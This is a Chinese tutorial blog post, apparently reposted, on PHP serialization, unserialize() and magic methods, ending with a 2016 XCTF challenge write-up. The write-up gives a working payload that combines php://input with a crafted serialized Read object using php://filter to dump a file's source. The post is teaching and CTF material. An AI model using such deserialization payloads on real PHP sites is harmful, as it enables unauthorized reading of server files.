PHP代码中的序列化与反序列化(1)

序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。

0×00 序列化和反序列化

简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 

序列化的对象可以是class也可以是Array,string等其他对象。

0×01 对象序列化和反序列化的功能作用

1. 对象序列化的功能作用

概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。 

作用:将对象的状态通过数值和字符记录下来,以某种存储形式使自定义对象持久化,方便需要时候将对象进行恢复使用,用于对象的传递以及使程序代码更具维护性 

语法:在创建对象class后使用serialize()函数将声明的对象的某个状态转化为字符串然后进行保存或传递。

示例代码: 

class serialize code:

1.

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.private $name = ‘Thinking’;

10.private $sex = ‘man’;

11.

12.function say($name,$sex){

13.echo ‘My name is’.$name.’I am a ‘.$sex;

14.}

15.

16.}

17.$Person = new Person;

18.echo serialize($Person);

19.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。

20.echo “\n”.’save data is: ‘.$saveData;

21.?>

output: 

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;} 

save data is: O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

________________________________________

array serialize code:

1.

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.$Person = array(‘name’ => ‘Thinking’ ,’sex’ => ‘man’);

9.echo serialize($Person);

10.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。

11.echo “\n”.’save data is: ‘.$saveData;

12.?>

output: 

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;} 

save data is: a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

序列化后对象的格式: 

引用上述示例代码中的输出结果 

output: 

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;} 

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示。 

变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。 

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

2. 对象反序列化的功能作用

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后在用于对象的操作,是序列化的逆过程 

作用:把序列化后的字符串转化为对象,恢复原本对象后用于程序或代码的各种操作。 

语法:使用unserialize()将序列化后的字符串转化为对象进行使用。

示例代码: 

unserialize code:

1.

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.$saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;

9.var_dump(unserialize($saveData));

10.?>

output:

1.class __PHP_Incomplete_Class#1 (3) {

2.public $__PHP_Incomplete_Class_Name =>

3.string(6) “Person”

4.public $ Person name =>

5.string(8) “Thinking”

6.public $ Person sex =>

7.string(3) “man”

8.}

9.


0×02 反序列化存在的问题

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

魔术方法:PHP的类中可能会包含一些特殊的函数叫魔术函数,魔术函数命名是以符号__开头的; 

有以下的魔术方法: 

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo() …

反序列化漏洞中常见到有一些魔术方法: 

__construct():在对象创建时自动被调用; __destruct():在脚本运行结束时自动被调用;__sleep():在对象序列化的时候自动被调用;__wakeup():在反序列化为对象时自动被调用;__toString(): 直接输出对象引用时自动被调用;

0×03 魔术方法的触发

构造方法 __construct() 

构造方法是类中的一个特殊方法。当使用 new 操作符创建一个类的实例时,构造方法将会自动调用,其名称必须是 __construct()。在一个类中只能声明一个构造方法,而是只有在每次创建对象的时候都会去调用一次构造方法,不能主动的调用这个方法,所以通常用它执行一些有用的初始化任务。该方法无返回值。 

语法: 

function __construct(arg1,arg2,…) 

…… 

}

[example]:__construct() code:

1.

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.private $name = ‘Thinking’;

10.private $sex = ‘man’;

11.

12.function say($name,$sex){

13.echo ‘My name is’.$name.’I am a ‘.$sex;

14.}

15.function __construct(){

16.echo ‘ __construct is work’;

17.}

18.}

19.$Person = new Person;//创建的时候触发魔术方法

20.?>

output: 

__construct is work

________________________________________

析构方法__destruct()允许在销毁一个类之前执行执行析构方法,与构造方法对应的就是析构方法,析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集,程序运行结束等。析构函数不能带有任何参数,其名称必须是 __destruct()。 

语法: 

function __destruct() 

…… 

}

[example]:__destructcode:

1.

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.    private $name = ‘Thinking’;

10.    private $sex = ‘man’;

11.

12.    function __destruct(){

13.        echo ‘__destruct is work’. “\n”;

14.    }

15.

16.}

17.

18.$Person = new Person;

19.sleep(5);//代码程序运行结束后或被释放时候触发

20.?>

output: 

先延迟5s,等待代码执行结束 ,再打印 __destruct is work

________________________________________

__sleep()方法是在一个类的实例被序列化了的时候调用,_wakeup()是在反序列化时被调用。__sleep()必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法.

[example]:__sleep()“__wakeup()code:

1.

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.    function __sleep(){

10.        echo ‘__sleep is work’. “\n”;

11.        return $this;

12.    }

13.

14.    function __wakeup(){

15.

16.        echo ‘__wakeup is work’;

17.

18.    }

19.}

20.

21.$Person = new Person;

22.$saveData  = serialize($Person);//序列化时候触发__sleep()

23.unserialize($saveData);//反序列化时候触发__wakeup()

24.?>

output: 

__sleep is work __wakeup is work

________________________________________

如果我们想打印出一个对象,就需要调用__toString()这个魔术方法了,该方法会在直接输出对象引用时自动被调用,此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误 

参考:http://php.net/__toString

[example]:__toString()code:

1.

2./**

3. * Created by PhpStorm.

4. * User: Thinking

5. * Date: 2017/10/18

6. * Time: 11:25

7. */

8.class Person{

9.    private $name = ‘Thinking’;

10.    private $sex = ‘man’;

11.

12.    function say($name,$sex){

13.        echo ‘My name is’.$name.’I am a ‘.$sex;

14.    }

15.    function __toString(){

16.        return ‘__toString is work’;

17.    }

18.}

19.$Person = new Person;

20.echo $Person; //输出对象的时候被调用

21.?>

output: 

__toString is work

其他方法的介绍参考: 

http://www.5idev.com/p-php_member_overloading.shtml 

http://php.net/__toString

________________________________________

0×04 一道CTF中反序列化例题

2016xctf的反序列化题目 

index.php的源码:

1.

2.$user = $_GET["user"];  

3.$file = $_GET["file"];  

4.$pass = $_GET["pass"];  

5.

6.if(isset($user)&&(file_get_contents($user,’r')===”the user is admin”)){  

7.    echo “hello admin!
”;  

8.    if(preg_match(“/f1a9/”,$file)){  

9.        exit();  

10.    }else{  

11.        include($file); //class.php  

12.        $pass = unserialize($pass);  

13.        echo $pass;  

14.    }  

15.}else{  

16.    echo “you are not admin ! “;  

17.}  

18.

19.?>  

20.

21.

22.$user = $_GET["user"];  

23.$file = $_GET["file"];  

24.$pass = $_GET["pass"];  

25.

26.if(isset($user)&&(file_get_contents($user,’r')===”the user is admin”)){  

27.    echo “hello admin!
”;  

28.    include($file); //class.php  

29.}else{  

30.    echo “you are not admin ! “;  

31.} echo “you are not admin ! “;

32.}

33.–>

class.php的源码:

1.

2.class Read{//f1a9.php  

3.    public $file;  

4.    public function __toString(){  

5.        if(isset($this->file)){  

6.            echo file_get_contents($this->file);      

7.        }  

8.        return “__toString was called!”;  

9.    }  

10.}  

11.?> 

源码分析: 

首先index.php源码中的第6行使用file_get_contents读取user参数的值,然后在源码的第6,11行存在文件包含,第12行 

unserialize($pass)反序列化函数的参数可控,在第13行执行了 echo $pass

在class.php源码中使用了__toString()魔术方法,然后return “__toString was called!“;,所以根据本篇的上半部分介绍此处满足__toString()魔术方法触发条件,所以存在反序列化漏洞,其中第6行file_get_contents是用来读取$file变量的文件的,并且给出了提示,//f1a9.php; 

所以本题的考点就是利用文件包含使用php://input的封装协议传入user参数的值,满足index.php源码中的第6行的条件,在pass参数中传入序列化后要读取的flag文件。

最终PAYLOAD: 

首先构造序列化的字符串O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}然后进行如下请求。 

GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;} 

POST DATA:the user is admin

先进行上面的请求,然后得到经过base64编码过的f1a9.php源码。

PHP代码中的序列化与反序列化(1)_第1张图片

使用hackbar上的base64解码插件进行解码,得到flag,本地复现flag与原题不一样。

PHP代码中的序列化与反序列化(1)_第2张图片

个人感想:序列化与反序列化是一个比较关键的知识,我找到漏斗社区的一篇文章来进行总结,希望让更多web狗看到并学习,同时非常感谢漏斗社区提供的文章。

转载地址:http://www.freebuf.com/column/151447.html

你可能感兴趣的:(PHP代码中的序列化与反序列化(1))